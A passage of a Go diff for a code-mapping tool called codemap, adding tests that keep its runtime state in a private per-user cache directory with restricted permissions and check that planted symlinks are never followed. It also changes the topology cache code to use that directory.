cmd.CombinedOutput(); err != nil { + t.Fatalf("hook %s without a cache dir: %v\n%s", step.hook, err, out) + } + } + stop := exec.Command(codemapTestBinaryPath, "watch", "stop", root) + stop.Env = env + _ = stop.Run() + if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { + t.Fatalf(".codemap/ created without a cache dir: %v", err) + } + if matches, _ := filepath.Glob(filepath.Join(os.TempDir(), "codemap", "*")); len(matches) != 0 { + t.Fatalf("state fell back to the shared temp dir: %v", matches) + } +} + +// homeEnv points os.UserHomeDir at dir on every OS: Windows reads +// USERPROFILE, not HOME. +func homeEnv(dir string) []string { + return []string{"HOME=" + dir, "USERPROFILE=" + dir} +} + +// codemapIn runs the test binary in dir with env appended and returns +// combined output. +func codemapIn(t *testing.T, dir string, env []string, stdin string, args ...string) (string, error) { + t.Helper() + cmd := exec.Command(codemapTestBinaryPath, args...) + cmd.Dir = dir + cmd.Env = append(os.Environ(), env...) + cmd.Stdin = strings.NewReader(stdin) + out, err := cmd.CombinedOutput() + return string(out), err +} + +// setUpFixture runs `codemap setup` without hooks, MCP or skills, so the only +// thing it may add to the repo is .codemap/. +func setUpFixture(t *testing.T, root, cache string) { + t.Helper() + if out, err := codemapIn(t, root, homeEnv(cache), "", "setup", "--no-hooks", "--no-mcp", "--no-skills", root); err != nil { + t.Fatalf("setup: %v\n%s", err, out) + } +} + +func gitStatus(t *testing.T, dir string, args ...string) string { + t.Helper() + status := exec.Command("git", append([]string{"status", "--porcelain"}, args...)...) + status.Dir = dir + out, err := status.Output() + if err != nil { + t.Fatal(err) + } + return strings.TrimSpace(string(out)) +} + +func dirNames(t *testing.T, dir string) string { + t.Helper() + entries, _ := os.ReadDir(dir) + var names []string + for _, e := range entries { + names = append(names, e.Name()) + } + return strings.Join(names, ",") +} + +// TestSetUpRepoKeepsOnlyConfigInTheRepo: after setup and every entry point, +// .codemap/ holds only what the user authors and all state is in the cache. +func TestSetUpRepoKeepsOnlyConfigInTheRepo(t *testing.T) { + root := stateFixture(t) + cache := t.TempDir() + setUpFixture(t, root, cache) + + runEveryEntryPoint(t, root, cache) + + if got, want := gitStatus(t, root, "--untracked-files=all"), "?? .codemap/.gitignore\n?? .codemap/config.json"; got != want { + t.Fatalf("git status --porcelain = %q, want %q", got, want) + } + if got := dirNames(t, filepath.Join(root, ".codemap")); got != ".gitignore,config.json" { + t.Fatalf(".codemap/ holds %q, want only .gitignore and config.json", got) + } + for _, name := range []string{"agent_edits.jsonl", "state.json", "hubs.txt"} { + if findFile(t, cache, name) == "" { + t.Fatalf("%s not under the cache dir", name) + } + } + if runtime.GOOS == "windows" { + return + } + // V3: every state dir is 0700 and every state file 0600. + _ = filepath.WalkDir(filepath.Join(cache, ".codemap", "state"), func(path string, d fs.DirEntry, err error) error { + if err != nil { + t.Fatal(err) + } + info, _ := d.Info() + if want := map[bool]os.FileMode{true: 0o700, false: 0o600}[d.IsDir()]; info.Mode().Perm() != want { + t.Errorf("%s: mode %v, want %v", path, info.Mode().Perm(), want) + } + return nil + }) +} + +// V5: removing .codemap/ does not move state, so nothing stale comes back. +func TestRemovingCodemapDirKeepsStateWhereItIs(t *testing.T) { + root := stateFixture(t) + cache := t.TempDir() + setUpFixture(t, root, cache) + env := homeEnv(cache) + edit := func(file string) { + t.Helper() + stdin := `{"session_id":"s","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, file)) + `"}}` + if out, err := codemapIn(t, root, env, stdin, "hook", "post-edit"); err != nil { + t.Fatalf("post-edit: %v\n%s", err, out) + } + } + edit("main.go") + before := findFile(t, cache, "agent_edits.jsonl") + if err := os.RemoveAll(filepath.Join(root, ".codemap")); err != nil { + t.Fatal(err) + } + edit("pkg/pkg.go") + if after := findFile(t, cache, "agent_edits.jsonl"); after != before || before == "" { + t.Fatalf("agent edits moved from %q to %q", before, after) + } + data, _ := os.ReadFile(before) + if !strings.Contains(string(data), "main.go") || !strings.Contains(string(data), "pkg/pkg.go") { + t.Fatalf("one log should hold both edits:\n%s", data) + } + if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { + t.Fatalf(".codemap/ came back: %v", err) + } +} + +// Linked worktrees never get a .codemap/, whether the primary is set up or +// not, and deleting the primary's .codemap/ does not make one appear. +func TestLinkedWorktreeKeepsNothingInTheWorktree(t *testing.T) { + for _, setUp := range []bool{true, false} { + name := "primary not set up" + if setUp { + name = "primary set up" + } + t.Run(name, func(t *testing.T) { + primary := stateFixture(t) + cache := t.TempDir() + if setUp { + setUpFixture(t, primary, cache) + } + worktree := filepath.Join(t.TempDir(), "wt") + runGitMainTestCmd(t, primary, "worktree", "add", "-q", worktree, "-b", "wt") + t.Cleanup(func() { + run := exec.Command("git", "worktree", "remove", "--force", worktree) + run.Dir = primary + _ = run.Run() + }) + + check := func() { + t.Helper() + if got := gitStatus(t, worktree, "--ignored"); got != "" { + t.Fatalf("worktree git status --porcelain --ignored = %q, want empty", got) + } + if _, err := os.Lstat(filepath.Join(worktree, ".codemap")); !os.IsNotExist(err) { + t.Fatalf("worktree got a .codemap/: %v", err) + } + } + runEveryEntryPoint(t, worktree, cache) + check() + if setUp { + if err := os.RemoveAll(filepath.Join(primary, ".codemap")); err != nil { + t.Fatal(err) + } + runEveryEntryPoint(t, worktree, cache) + check() + if _, err := os.Lstat(filepath.Join(primary, ".codemap")); !os.IsNotExist(err) { + t.Fatalf("primary .codemap/ recreated: %v", err) + } + } + }) + } +} + +// Finding 4: with no in-repo config, the auto-detected `only` keeps a few Go +// files among thousands of data files under the large-repo cutoff. +func TestAutoConfigKeepsHubsInADataHeavyRepo(t *testing.T) { + root := stateFixture(t) + for i := 0; i <= limits.LargeRepoFileCount; i++ { + path := filepath.Join(root, "data", fmt.Sprintf("d%03d", i/100), fmt.Sprintf("r%d.json", i)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte("{}"), 0o644); err != nil { + t.Fatal(err) + } + } + out, err := codemapIn(t, root, homeEnv(t.TempDir()), "", ".") + if err != nil { + t.Fatalf("codemap .: %v\n%s", err, out) + } + if !strings.Contains(out, "Hubs") || !strings.Contains(out, "pkg") || strings.Contains(out, "graph limit") { + t.Fatalf("no hubs from the auto config:\n%s", out) + } + if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { + t.Fatalf("auto config wrote .codemap/: %v", err) + } +} + +// daemonPIDs lists live `watch daemon ` processes. +func daemonPIDs(t *testing.T, root string) []string { + t.Helper() + out, _ := exec.Command("pgrep", "-f", "watch daemon "+root).Output() + return strings.Fields(string(out)) +} + +// Finding 1: setup while a daemon runs does not split state, so status still +// sees it and start does not launch a second. +func TestSetupWhileDaemonRunsKeepsOneDaemon(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("pgrep") + } + root := projectpathCanonical(t, stateFixture(t)) + env := homeEnv(t.TempDir()) + t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) + if out, err := codemapIn(t, root, env, "", "watch", "start", root); err != nil { + t.Fatalf("watch start: %v\n%s", err, out) + } + before := daemonPIDs(t, root) + if len(before) != 1 { + t.Fatalf("daemons after start = %v", before) + } + if out, err := codemapIn(t, root, env, "", "setup", "--no-hooks", "--no-mcp", "--no-skills", root); err != nil { + t.Fatalf("setup: %v\n%s", err, out) + } + if out, _ := codemapIn(t, root, env, "", "watch", "status", root); !strings.Contains(out, "Watch daemon running") { + t.Fatalf("status after setup: %s", out) + } + if out, _ := codemapIn(t, root, env, "", "watch", "start", root); !strings.Contains(out, "already running") { + t.Fatalf("start after setup: %s", out) + } + if after := daemonPIDs(t, root); strings.Join(after, ",") != strings.Join(before, ",") { + t.Fatalf("daemons %v became %v", before, after) + } +} + +// Finding 1 across an upgrade: a live registered daemon with no pid file in +// the state dir (an older binary's) is replaced, never joined by a second, +// and `watch stop` stops whatever is registered. +func TestRegisteredDaemonWithEmptyStateDirGetsNoSecond(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("pgrep") + } + root := projectpathCanonical(t, stateFixture(t)) + home := t.TempDir() + env := homeEnv(home) + t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) + if out, err := codemapIn(t, root, env, "", "watch", "start", root); err != nil { + t.Fatalf("watch start: %v\n%s", err, out) + } + old := daemonPIDs(t, root) + if len(old) != 1 { + t.Fatalf("daemons after start = %v", old) + } + // What an older binary leaves: a registry entry without a state dir, and + // its pid file somewhere this version does not look. + key := projectpath.ProjectKey(root) + entry := filepath.Join(os.Getenv("CODEMAP_DAEMON_REGISTRY"), key+".json") + if err := os.WriteFile(entry, []byte(`{"pid":`+old[0]+`,"root":"`+root+`"}`), 0o600); err != nil { + t.Fatal(err) + } + if err := os.Remove(filepath.Join(home, ".codemap", "state", key, "watch.pid")); err != nil { + t.Fatal(err) + } + + out, err := codemapIn(t, root, env, "", "watch", "start", root) + if err != nil || !strings.Contains(out, "older codemap") { + t.Fatalf("start with an empty state dir: %v\n%s", err, out) + } + now := daemonPIDs(t, root) + if len(now) != 1 || now[0] == old[0] { + t.Fatalf("daemons %v then %v, want the registered one replaced by exactly one", old, now) + } + if out, err := codemapIn(t, root, env, "", "watch", "stop", root); err != nil { + t.Fatalf("watch stop: %v\n%s", err, out) + } + if left := daemonPIDs(t, root); len(left) != 0 { + t.Fatalf("daemons left after stop: %v", left) + } +} + +// Two environments that differ only in XDG_CACHE_HOME (a shell and a +// GUI-launched agent) share one daemon instead of killing each other's. +func TestDifferentXDGCacheHomesShareOneDaemon(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("pgrep") + } + root := projectpathCanonical(t, stateFixture(t)) + home := t.TempDir() + shell := append(homeEnv(home), "XDG_CACHE_HOME="+t.TempDir()) + gui := append(homeEnv(home), "XDG_CACHE_HOME=") + t.Cleanup(func() { _, _ = codemapIn(t, root, shell, "", "watch", "stop", root) }) + if out, err := codemapIn(t, root, shell, "", "watch", "start", root); err != nil { + t.Fatalf("watch start: %v\n%s", err, out) + } + before := daemonPIDs(t, root) + if out, _ := codemapIn(t, root, gui, "", "watch", "start", root); !strings.Contains(out, "already running") { + t.Fatalf("second environment: %s", out) + } + if out, _ := codemapIn(t, root, shell, "", "watch", "start", root); !strings.Contains(out, "already running") { + t.Fatalf("first environment again: %s", out) + } + if after := daemonPIDs(t, root); len(before) != 1 || strings.Join(after, ",") != strings.Join(before, ",") { + t.Fatalf("daemons %v became %v", before, after) + } +} + +// Losing `watch start` racers succeed quietly with the winner's daemon. +func TestConcurrentWatchStartsAllSucceedWithOneDaemon(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("pgrep") + } + root := projectpathCanonical(t, stateFixture(t)) + env := homeEnv(t.TempDir()) + t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) + const n = 4 + outs, errs := make([]string, n), make([]error, n) + done := make(chan int, n) + for i := 0; i < n; i++ { + go func(i int) { outs[i], errs[i] = codemapIn(t, root, env, "", "watch", "start", root); done <- i }(i) + } + for i := 0; i < n; i++ { + <-done + } + for i := range outs { + if errs[i] != nil || strings.Contains(outs[i], "Error") { + t.Fatalf("start %d: %v\n%s", i, errs[i], outs[i]) + } + } + if pids := daemonPIDs(t, root); len(pids) != 1 { + t.Fatalf("daemons = %v, want one", pids) + } +} + +// A state file replaced by a symlink is never written through. +func TestPlantedStateFileLinksAreNotWrittenThrough(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("symlinks") + } + root := stateFixture(t) + home := t.TempDir() + runEveryEntryPoint(t, root, home) + stateDir := filepath.Dir(findFile(t, home, "project.json")) + outside := filepath.Join(t.TempDir(), "outside") + if err := os.WriteFile(outside, []byte("mine\n"), 0o600); err != nil { + t.Fatal(err) + } + for _, name := range []string{"agent_edits.jsonl", "events.log", "hubs.txt", "status", "auto-config.json", "subagent-start.json", "handoff.latest.json", "handoff.metrics.log"} { + path := filepath.Join(stateDir, name) + _ = os.Remove(path) + if err := os.Symlink(outside, path); err != nil { + t.Fatal(err) + } + } + runEveryEntryPoint(t, root, home) + if out, err := codemapIn(t, root, homeEnv(home), "", "handoff", "."); err == nil { + t.Fatalf("handoff saved through a planted link:\n%s", out) + } + if data, _ := os.ReadFile(outside); string(data) != "mine\n" { + t.Fatalf("a state write went through a link: %q", data) + } +} + +func projectpathCanonical(t *testing.T, path string) string { + t.Helper() + canonical, err := filepath.EvalSymlinks(path) + if err != nil { + t.Fatal(err) + } + return canonical +} + +// V1, V2: no usable state dir (missing home, read-only home, a planted link) +// never fails a hook or prints the error; codemap handoff reports one line. +func TestNoUsableStateDirIsQuiet(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("unix permissions and links") + } + readOnly := t.TempDir() + if err := os.Chmod(readOnly, 0o555); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chmod(readOnly, 0o755) }) + linkCache := t.TempDir() + if err := os.Mkdir(filepath.Join(linkCache, ".codemap"), 0o700); err != nil { + t.Fatal(err) + } + if err := os.Symlink(t.TempDir(), filepath.Join(linkCache, ".codemap", "state")); err != nil { + t.Fatal(err) + } + missing := filepath.Join(t.TempDir(), "gone") + cases := map[string][]string{ + "missing home": append(homeEnv(missing), "CODEMAP_DAEMON_REGISTRY="), + "read-only home": homeEnv(readOnly), + "planted link": homeEnv(linkCache), + } + for name, env := range cases { + t.Run(name, func(t *testing.T) { + root := stateFixture(t) + edit := `{"session_id":"s","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, "main.go")) + `"}}` + for _, step := range []struct{ stdin, hook string }{ + {`{"session_id":"s"}`, "session-start"}, + {edit, "post-edit"}, + {`{"cwd":"` + filepath.ToSlash(root) + `"}`, "subagent-start"}, + {`{"session_id":"s"}`, "pre-compact"}, + {`{"session_id":"s"}`, "session-stop"}, + } { + out, err := codemapIn(t, root, env, step.stdin, "hook", step.hook) + if err != nil || strings.Contains(out, "permission denied") || strings.Contains(out, "unsafe") { + t.Fatalf("hook %s: %v\n%s", step.hook, err, out) + } + } + out, err := codemapIn(t, root, env, "", "handoff", ".") + if err == nil || strings.Count(strings.TrimSpace(out), "\n") > 0 { + t.Fatalf("handoff should fail with one line, got %v:\n%s", err, out) + } + if _, err := os.Lstat(missing); !os.IsNotExist(err) { + t.Fatalf("a missing home was created: %v", err) + } + if entries, _ := os.ReadDir(readOnly); len(entries) != 0 { + t.Fatalf("wrote into the read-only home: %v", entries) + } + }) + } +} + +// V4: a hook timeout that ends the process before the render still leaves +// the background render running, which fills the cache and drops its lock. +// The render is held back past the hook's budget, so the slow path does not +// depend on how fast this machine renders. +func TestSubagentStartTimeoutStillFillsTheCache(t *testing.T) { + root := stateFixture(t) + cache := t.TempDir() + env := append(homeEnv(cache), "CODEMAP_HOOK_TIMEOUT=200ms", "CODEMAP_TEST_SUBAGENT_RENDER_DELAY=2s") + out, err := codemapIn(t, root, env, `{"cwd":"`+filepath.ToSlash(root)+`"}`, "hook", "subagent-start") + if err != nil || out != "" { + t.Fatalf("timed-out subagent-start: %v %q", err, out) + } + deadline := time.Now().Add(20 * time.Second) + for findFile(t, cache, "subagent-start.json") == "" || findFile(t, cache, "subagent-start.lock") != "" { + if time.Now().After(deadline) { + t.Fatal("background render never filled the cache or left its lock") + } + time.Sleep(50 * time.Millisecond) + } +} + +// Reading creates nothing: read-only commands leave ~/.codemap/state absent +// in a plain directory (and each subdirectory), and a git repo gets at most +// one entry however many of its directories are looked at. +func TestReadOnlyCommandsCreateNoState(t *testing.T) { + readOnly := func(t *testing.T, home string, dirs ...string) { + t.Helper() + for _, dir := range dirs { + for _, args := range [][]string{{"."}, {"--deps", "."}, {"find", "x", "."}, {"config", "show", "."}, {"doctor", "."}} { + _, _ = codemapIn(t, dir, homeEnv(home), "", args...) + } + } + } + plain := t.TempDir() + for rel, body := range map[string]string{"a.go": "package a\n", "sub/b.go": "package b\n"} { + path := filepath.Join(plain, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + } + home := t.TempDir() + readOnly(t, home, plain, filepath.Join(plain, "sub")) + if _, err := os.Stat(filepath.Join(home, ".codemap", "state")); !os.IsNotExist(err) { + t.Fatalf("read-only commands outside git created state: %s", dirNames(t, filepath.Join(home, ".codemap", "state"))) + } + + repo := stateFixture(t) + readOnly(t, home, repo, filepath.Join(repo, "pkg"), filepath.Join(repo, "cmd", "a")) + if entries, _ := os.ReadDir(filepath.Join(home, ".codemap", "state")); len(entries) > 1 { + t.Fatalf("one git repo got %d state entries: %s", len(entries), dirNames(t, filepath.Join(home, ".codemap", "state"))) + } +} + +// A repo over the scan bound keeps its stored auto filter: the bounded walk is +// the filtered one, and the stored copy is never re-derived from a truncated +// sample. +func TestAutoConfigSurvivesTheScanBound(t *testing.T) { + root := stateFixture(t) + for i := 0; i < 600; i++ { + path := filepath.Join(root, "data", fmt.Sprintf("r%03d.json", i)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte("{}"), 0o644); err != nil { + t.Fatal(err) + } + } + home := t.TempDir() + if out, err := codemapIn(t, root, homeEnv(home), "", "."); err != nil { + t.Fatalf("codemap .: %v\n%s", err, out) + } + out, err := codemapIn(t, root, homeEnv(home), "", "--max-files", "100", ".") + if err != nil || !strings.Contains(out, "pkg") || strings.Contains(out, "data/") { + t.Fatalf("bounded tree lost the code: %v\n%s", err, out) + } + data, _ := os.ReadFile(findFile(t, home, "auto-config.json")) + if !strings.Contains(string(data), `"go"`) { + t.Fatalf("stored auto config lost its filter: %s", data) + } +} + +// The auto filter note is for a person reading `codemap .`: never in JSON, +// any lean render, or a hook's context. +func TestAutoFilterNoteStaysOutOfAgentOutput(t *testing.T) { + root := stateFixture(t) + env := homeEnv(t.TempDir()) + t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) + if out, _ := codemapIn(t, root, env, "", "."); !strings.Contains(out, "auto filter: only go") { + t.Fatalf("human tree has no auto filter note (docs/x.md is hidden):\n%s", out) + } + runs := map[string][]string{"json": {"--json", "."}} + for _, lean := range []string{"0", "1", "2", "dirs"} { + runs["lean "+lean] = []string{"."} + } + for name, args := range runs { + runEnv := env + if strings.HasPrefix(name, "lean ") { + runEnv = append(append([]string{}, env...), "CODEMAP_TREE_LEAN="+strings.TrimPrefix(name, "lean ")) + } + if out, _ := codemapIn(t, root, runEnv, "", args...); strings.Contains(out, "auto filter") { + t.Fatalf("%s output carries the auto filter note:\n%s", name, out) + } + } + for _, hook := range []struct{ name, stdin string }{ + {"subagent-start", `{"cwd":"` + filepath.ToSlash(root) + `"}`}, + {"session-start", `{"session_id":"n"}`}, + } { + if out, _ := codemapIn(t, root, env, hook.stdin, "hook", hook.name); strings.Contains(out, "auto filter") { + t.Fatalf("%s carries the auto filter note:\n%s", hook.name, out) + } + } +} + +// A state subdirectory replaced by a link is never listed, written or +// cleaned through: the outside directory stays byte for byte. +func TestPlantedStateDirLinksAreNotFollowed(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("creating symlinks needs privileges on Windows") + } + root := stateFixture(t) + home := t.TempDir() + runEveryEntryPoint(t, root, home) + stateDir := filepath.Dir(findFile(t, home, "project.json")) + for _, name := range []string{"sessions", "flush"} { + outside := t.TempDir() + old := filepath.Join(outside, "old-lease") + if err := os.WriteFile(old, []byte("mine\n"), 0o600); err != nil { + t.Fatal(err) + } + stale := time.Now().Add(-48 * time.Hour) + if err := os.Chtimes(old, stale, stale); err != nil { + t.Fatal(err) + } + if err := os.RemoveAll(filepath.Join(stateDir, name)); err != nil { + t.Fatal(err) + } + if err := os.Symlink(outside, filepath.Join(stateDir, name)); err != nil { + t.Fatal(err) + } + runEveryEntryPoint(t, root, home) + if got := dirNames(t, outside); got != "old-lease" { + t.Fatalf("%s link: outside dir now holds %q", name, got) + } + if data, _ := os.ReadFile(old); string(data) != "mine\n" { + t.Fatalf("%s link: outside file changed: %q", name, data) + } + } +} + +// An unsafe state file never fails or speaks in a hook; a user command fails +// with one line that names the path and says to remove it, and the link is +// left alone. +func TestUnsafeStateFilesQuietInHooksActionableInCommands(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("creating symlinks needs privileges on Windows") + } + for _, name := range []string{"state.json", "project.json", "watch.pid", "handoff.latest.json"} { + t.Run(name, func(t *testing.T) { + root := projectpathCanonical(t, stateFixture(t)) + home := t.TempDir() + env := homeEnv(home) + t.Cleanup(func() { _, _ = codemapIn(t, root, env, "", "watch", "stop", root) }) + if out, err := codemapIn(t, root, env, "", "."); err != nil { + t.Fatalf("codemap .: %v\n%s", err, out) + } + link := filepath.Join(filepath.Dir(findFile(t, home, "project.json")), name) + _ = os.Remove(link) + if err := os.Symlink(filepath.Join(t.TempDir(), "outside"), link); err != nil { + t.Fatal(err) + } + // A real change, so session-stop has a handoff to write. + src, err := os.ReadFile(filepath.Join(root, "main.go")) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(root, "main.go"), append(src, "// changed\n"...), 0o644); err != nil { + t.Fatal(err) + } + for _, step := range []struct{ hook, stdin string }{ + {"session-start", `{"session_id":"u"}`}, + {"post-edit", `{"session_id":"u","tool_input":{"file_path":"` + filepath.ToSlash(filepath.Join(root, "main.go")) + `"}}`}, + {"pre-compact", `{"session_id":"u"}`}, + {"session-stop", `{"session_id":"u"}`}, + } { + out, err := codemapIn(t, root, env, step.stdin, "hook", step.hook) + if err != nil || strings.Contains(out, "unsafe") { + t.Fatalf("hook %s: %v\n%s", step.hook, err, out) + } + } + if name == "handoff.latest.json" { + return // the daemon does not read it; `codemap handoff` is covered above + } + _, _ = codemapIn(t, root, env, "", "watch", "stop", root) + out, err := codemapIn(t, root, env, "", "watch", "start", root) + if err == nil || !strings.Contains(out, link+" is a symlink") || !strings.Contains(out, "remove it") { + t.Fatalf("watch start with a planted %s: %v\n%s", name, err, out) + } + if info, err := os.Lstat(link); err != nil || info.Mode()&os.ModeSymlink == 0 { + t.Fatalf("the planted link was touched: %v", err) + } + }) + } +} diff --git a/subagent_start_test.go b/subagent_start_test.go new file mode 100644 index 00000000..a6679b4c --- /dev/null +++ b/subagent_start_test.go @@ -0,0 +1,124 @@ +package main + +import ( + "encoding/json" + "fmt" + "io/fs" + "os" + "path/filepath" + "strings" + "testing" +) + +func writeSubagentFixture(t *testing.T, files map[string]string) string { + t.Helper() + root := t.TempDir() + for rel, content := range files { + path := filepath.Join(root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatal(err) + } + } + runGitMainTestCmd(t, root, "init", "-q") + return root +} + +// runSubagentStart runs the hook for root and returns its additionalContext. +func runSubagentStart(t *testing.T, root string) string { + t.Helper() + payload, _ := json.Marshal(map[string]string{"cwd": root, "agent_type": "scout", "hook_event_name": "SubagentStart"}) + out, stderr, err := runCodemapWithInput(string(payload), "hook", "subagent-start", t.TempDir()) + if err != nil { + t.Fatalf("subagent-start failed: %v\n%s", err, stderr) + } + var envelope struct { + HookSpecificOutput struct { + HookEventName string `json:"hookEventName"` + AdditionalContext string `json:"additionalContext"` + } `json:"hookSpecificOutput"` + } + if err := json.Unmarshal([]byte(out), &envelope); err != nil { + t.Fatalf("stdout is not one JSON envelope: %v\n%s", err, out) + } + if got := envelope.HookSpecificOutput.HookEventName; got != "SubagentStart" { + t.Fatalf("hookEventName = %q", got) + } + ctx := envelope.HookSpecificOutput.AdditionalContext + if ctx == "" || len(ctx) > 2500 { + t.Fatalf("additionalContext length %d, want 1..2500:\n%s", len(ctx), ctx) + } + return ctx +} + +func repoFiles(t *testing.T, root string) []string { + t.Helper() + var files []string + err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() && d.Name() == ".git" { + return filepath.SkipDir + } + files = append(files, path) + return nil + }) + if err != nil { + t.Fatal(err) + } + return files +} + +func TestHookSubagentStartOrientsWithinCap(t *testing.T) { + files := map[string]string{ + "go.mod": "module example.com/demo\n\ngo 1.22\n", + "pkg/types.go": "package pkg\n\nconst X = 1\n", + "u1/u.go": "package u1\n", + } + for _, name := range []string{"a", "b", "c"} { + files["cmd/"+name+"/main.go"] = "package main\n\nimport \"example.com/demo/pkg\"\n\nvar _ = pkg.X\n" + } + root := writeSubagentFixture(t, files) + before := repoFiles(t, root) + + ctx := runSubagentStart(t, root) + for _, want := range []string{"Hubs (", "pkg/types.go", "cmd/", "u1/"} { + if !strings.Contains(ctx, want) { + t.Fatalf("additionalContext missing %q:\n%s", want, ctx) + } + } + // Directories only: no file names (a single-file dir included), no header panel. + for _, gone := range []string{"main.go", "u.go", "╭"} { + if strings.Contains(ctx, gone) { + t.Fatalf("additionalContext should not contain %q:\n%s", gone, ctx) + } + } + if after := repoFiles(t, root); strings.Join(after, "\n") != strings.Join(before, "\n") { + t.Fatalf("hook wrote into a repo that never ran setup:\nbefore %v\nafter %v", before, after) + } + + outside, _ := json.Marshal(map[string]string{"cwd": t.TempDir()}) + out, stderr, err := runCodemapWithInput(string(outside), "hook", "subagent-start") + if err != nil || out != "" { + t.Fatalf("outside a repo: err=%v stdout=%q stderr=%q, want silent exit 0", err, out, stderr) + } +} + +func TestHookSubagentStartKeepsHubsWhenDirectoriesOverflow(t *testing.T) { + files := map[string]string{ + "go.mod": "module example.com/wide\n\ngo 1.22\n", + "lib/lib.go": "package lib\n\nconst X = 1\n", + } + for i := 0; i < 65; i++ { + files[fmt.Sprintf("directory_with_a_long_name_%02d/main.go", i)] = "package main\n\nimport \"example.com/wide/lib\"\n\nvar _ = lib.X\n" + } + ctx := runSubagentStart(t, writeSubagentFixture(t, files)) + for _, want := range []string{"more directories", "Hubs (", "lib/", "Next:"} { + if !strings.Contains(ctx, want) { + t.Fatalf("over-cap block missing %q:\n%s", want, ctx) + } + } +} diff --git a/topology/cache.go b/topology/cache.go index d3e0069b..7fa53f6a 100644 --- a/topology/cache.go +++ b/topology/cache.go @@ -14,7 +14,8 @@ import ( "time" "codemap/config" - "codemap/internal/gitexclude" + "codemap/internal/projectpath" + "codemap/internal/runtimefile" "codemap/scanner" ) @@ -34,8 +35,13 @@ type CacheEnvelope struct { Graph *Graph `json:"graph"` } +// CachePath is "" when there is no usable state dir. func CachePath(root string) string { - return CachePathAt(filepath.Join(root, ".codemap")) + dir := projectpath.RuntimeCodemapDir(root) + if dir == "" { + return "" + } + return CachePathAt(dir) } // CachePathAt returns the topology cache path inside cacheDir. @@ -134,12 +140,16 @@ func BuildCacheIdentity(root string, files []scanner.FileInfo, manifests []strin } func ReadCache(root string, expected CacheIdentity) (*Graph, bool) { - return ReadCacheAt(filepath.Join(root, ".codemap"), root, expected) + dir := projectpath.RuntimeCodemapDir(root) + if dir == "" { + return nil, false + } + return ReadCacheAt(dir, root, expected) } // ReadCacheAt reads a cache from cacheDir and validates graph paths against root. func ReadCacheAt(cacheDir, root string, expected CacheIdentity) (*Graph, bool) { - data, err := os.ReadFile(CachePathAt(cacheDir)) + data, err := runtimefile.Read(CachePathAt(cacheDir)) if err != nil { return nil, false } @@ -170,7 +180,11 @@ func IsCacheable(graph *Graph) bool { } func WriteCache(root string, envelope CacheEnvelope) error { - return WriteCacheAt(filepath.Join(root, ".codemap"), envelope) + dir := projectpath.RuntimeCodemapDir(root) + if dir == "" { + return projectpath.ErrNoStateDir + } + return WriteCacheAt(dir, envelope) } // WriteCacheAt atomically writes a topology cache inside cacheDir. @@ -187,7 +201,7 @@ func WriteCacheAt(cacheDir string, envelope CacheEnvelope) error { } data = append(data, '\n') - if err := gitexclude.MkdirAll(cacheDir, 0o755); err != nil { + if err := os.MkdirAll(cacheDir, 0o700); err != nil { return err } temp, err := os.CreateTemp(cacheDir, ".topology-state-*.tmp") @@ -197,7 +211,7 @@ func WriteCacheAt(cacheDir string, envelope CacheEnvelope) error { tempName := temp.Name() defer func() { _ = os.Remove(tempName) }() - if err := temp.Chmod(0o644); err != nil { + if err := temp.Chmod(0o600); err != nil { _ = temp.Close() return err } diff --git a/topology/cache_test.go b/topology/cache_test.go index 6018b9d3..9b487fcc 100644 --- a/topology/cache_test.go +++ b/topology/cache_test.go @@ -56,7 +56,7 @@ func TestReadCacheMissesMalformedStaleAndNewerSchemas(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { root := t.TempDir() - writeTopologyFixture(t, root, ".codemap/topology-state.json", tt.data) + writeTopologyFixture(t, "", CachePath(root), tt.data) before := readFixture(t, CachePath(root)) if graph, ok := ReadCache(root, identity); ok || graph != nil { @@ -115,7 +115,7 @@ func TestReadCacheMissesTransientProviderFailures(t *testing.T) { func TestWriteCacheAtomicallyReplacesTopologyState(t *testing.T) { root := t.TempDir() - writeTopologyFixture(t, root, ".codemap/topology-state.json", `{"schema":1,"old":true}`) + writeTopologyFixture(t, "", CachePath(root), `{"schema":1,"old":true}`) graph := cachedTestGraph(root) identity := CacheIdentity{Filters: "new"} diff --git a/topology/testmain_test.go b/topology/testmain_test.go new file mode 100644 index 00000000..45980c29 --- /dev/null +++ b/topology/testmain_test.go @@ -0,0 +1,19 @@ +package topology + +import ( + "os" + "testing" +) + +// TestMain keeps state of un-set-up test repos out of the real ~/.codemap. +func TestMain(m *testing.M) { + dir, err := os.MkdirTemp("", "codemap-topology-cache-*") + if err != nil { + os.Exit(1) + } + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) + code := m.Run() + _ = 